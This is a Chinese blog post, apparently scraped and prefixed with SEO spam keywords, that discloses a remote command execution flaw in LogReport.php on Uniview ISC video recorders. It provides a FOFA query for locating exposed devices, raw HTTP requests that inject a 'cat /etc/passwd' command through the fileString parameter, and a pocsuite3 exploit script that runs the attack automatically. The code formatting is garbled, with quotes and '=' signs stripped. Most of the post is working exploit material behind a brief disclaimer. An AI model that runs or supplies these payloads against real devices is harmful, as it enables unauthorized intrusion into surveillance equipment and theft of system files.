pc网站和移动网站,深圳服务平台网站,苏州营销型网站制作公司,永州做网站免责声明
文章中涉及的漏洞均已修复#xff0c;敏感信息均已做打码处理#xff0c;文章仅做经验分享用途#xff0c;切勿当真#xff0c;未授权的攻击属于非法行为#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…免责声明
文章中涉及的漏洞均已修复敏感信息均已做打码处理文章仅做经验分享用途切勿当真未授权的攻击属于非法行为文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责作者不为此承担任何责任一旦造成后果请自行负责
漏洞描述
浙江宇视isc网络视频录像机LogReport.php存在远程命令执行漏洞。 fofa语句
bodyAlarm countryCN body白牌定制
poc语句加检测
GET /Interface/LogReport/LogReport.php?actionexecUpdatefileStringx;cat/etc/passwd%3Eqwer1234.txt HTTP/1.1
Host:
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID7b9bab286911f705a76e3c9cb5a14507; logintime-; devLanguagezh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0GET /Interface/LogReport/qwer1234.txt HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 poc脚本
脚本用的pocsuite框架
# -*- coding: utf-8 -*-
# 2023/12/11 16:43from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptStringclass yushi_isc_logreport_RCE(POCBase):author 炼金术师诸葛亮createDate 2023-12-11name yushi-isc-logreport-RCEappName yushi-isc-logreport-RCEvulType Command Execution # 漏洞类型参见漏洞类型规范表desc 浙江宇视 isc 网络视频录像机 LogReport.php 远程命令执行漏洞 # 漏洞简要描述def _verify(self):result {}path /Interface/LogReport/LogReport.php # 参数url self.url pathpayload ?actionexecUpdatefileStringx%3bcat%20/etc/passwd%3eqwer1234.txt # payloadheaders {Cookie: PHPSESSID7b9bab286911f705a76e3c9cb5a14507; logintime-; devLanguagezh-CN,Upgrade-Insecure-Requests: 1,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Encoding: gzip, deflate,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Connection: close}r requests.get(url payload,headersheaders)print(r.text)# 验证成功输出相关信息if r.status_code 200:result[VerifyInfo] {}result[VerifyInfo][URL] self.urlresult[VerifyInfo][Name] payloadreturn self.parse_output(result)def _attack(self):result {}path /Interface/LogReport/qwer1234.txturl self.url pathheaders2{Upgrade-Insecure-Requests: 1,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8,Accept-Encoding: gzip, deflate,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2}r requests.get(url,headersheaders2)if r and r.status_code 200 and root in r.text:result[VerifyInfo] {}result[VerifyInfo][URL] self.urlresult[VerifyInfo][Resp] r.textreturn self.parse_output(result)register_poc(yushi_isc_logreport_RCE)
脚本利用
